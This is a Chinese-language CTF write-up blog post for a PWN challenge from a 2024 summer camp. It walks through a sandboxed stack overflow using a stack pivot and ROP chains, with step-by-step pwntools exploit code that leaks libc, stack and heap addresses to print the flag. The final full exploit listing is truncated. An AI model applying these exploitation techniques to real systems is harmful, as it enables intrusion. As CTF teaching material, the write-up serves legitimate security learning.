2024-Beichen-CTF-WP
今年暑假参加了信大举办的北辰计划夏令营,其中最后一天举行了一次CTF比赛,第一批的题目比较难,当时没做出来,现在重新做一下,在此记录。
PWN
PWN1
题目描述
- 首先读取输入,判断输入与加密后的字符串,成功才能进入漏洞函数:
直接动态调试可以得到输入应为I_can_find_the_right_path\n
,然后进入存在漏洞函数; - 漏洞函数会首先打开flag文件,将flag读入到堆上,并且关闭了flag文件描述符,然后使用seccomp开启沙箱保护,只允许read和write,exit(这里有点问题,好像不能直接用syscall的gadget,会直接报错
bad system call
,知道的师傅可以解释一下QWQ)。
然后漏洞函数读取0x40字节,可以溢出0x10字节。
思路
首先可以通过构造fake stack来写入更大长度的rop链,分为两步,第一步覆盖rbp为想要写入的伪栈地址,然后重新返回到vuln_addr+8(如图,要跳过
push rbp,mov rbp,rsp
),第二步向伪栈写入内容,然后leave ret即可实现栈迁移。脚本如下:
1
2
3
4
5
6
7# step1: construct fake rbp
payload = flat(b'a'*0x30, bss_addr, vuln_addr+8)
p.sendafter("===welcome===\n", payload)
# step2: input ROP to leak libc
payload = flat(pop_rdi, puts_got, puts_plt, vuln_addr)
payload = flat(payload, b'a'*(0x30-len(payload)), bss_addr-0x30-0x8, leave_ret)然后使用puts函数打印puts got表地址,泄漏libc
1
2
3
4
5
6
7
8
9# step2: input ROP to leak libc
payload = flat(pop_rdi, puts_got, puts_plt, vuln_addr)
payload = flat(payload, b'a'*(0x30-len(payload)), bss_addr-0x30-0x8, leave_ret)
p.send(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
info(f"puts_addr: {hex(puts_addr)}")
libc_addr = puts_addr - libc.sym['puts']
info(f"libc_addr: {hex(libc_addr)}")通过libc上environ符号打印出其所在栈地址
脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32# step3: leak environ_addr
pop_rsi = 0x000000000002be51+libc_addr
pop_rdx_r12 = 0x000000000011f497+libc_addr
read_addr = libc_addr+libc.sym['read']
write_addr = libc_addr+libc.sym['write']
syscall = libc_addr+0x0000000000029db4
pop_rax = 0x0000000000045eb0+libc_addr
# mp_addr = libc_addr+libc.sym["mp]+96+1
info(f"read_addr: {hex(read_addr)}")
info(f"write_addr: {hex(write_addr)}")
# info(f"mp_addr: ")
flag_addr = 0x404600
payload = flat(p64(bss_addr-0x100)*6, bss_addr, vuln_addr+8)
p.send(payload)
payload = flat(pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x100, bss_addr+0x30, vuln_addr+8)
p.send(payload)
payload = flat(0, pop_rdi, 0, read_addr, vuln_addr+8, 0, bss_addr-0x30-0x8, leave_ret)
p.send(payload)
environ_addr = 0x28f2d0+libc_addr
payload = flat(pop_rdi, 1, pop_rsi, environ_addr, pop_rdx_r12, 0x6, 0, write_addr, vuln_addr)
payload = payload.ljust(0x100, b'\x00')
p.send(payload)
payload = flat(b'a'*0x30, flag_addr-0x8, leave_ret)
p.send(payload)
p.recvline()
stack_addr = u64(p.recv(6).ljust(8, b'\x00'))
info(f"stack_addr: {hex(stack_addr)}")然后根据偏移可以获取到栈上存储的堆地址,从而获取到存放flag的堆的地址
脚本如下,这里假定堆地址只有3字节,可能需要多试几次才能出来:
1
2
3
4
5
6
7
8
9
10# step4: leak heap_addr
heap_addr = stack_addr-0x130
payload = flat(b'c'*0x30, bss_addr+0x200, vuln_addr+8)
p.send(payload)
payload = flat(pop_rdi, heap_addr, puts_plt, vuln_addr, b'c'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
p.send(payload)
heap_addr = u64(p.recv(3).ljust(8, b'\x00'))+0x30
info(f"heap_addr: {hex(heap_addr)}")puts函数打印flag地址即可
1
2
3
4
5
6# step5: print flag
payload = flat(b'd'*0x30, bss_addr+0x200, vuln_addr+8)
p.send(payload)
payload = flat(pop_rdi, heap_addr, puts_addr, vuln_addr, b'd'*0x10, bss_addr+0x200-0x30-0x8, leave_ret)
p.send(payload)
完整exp如下:
1 | from pwn import * |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Small Utopia!
评论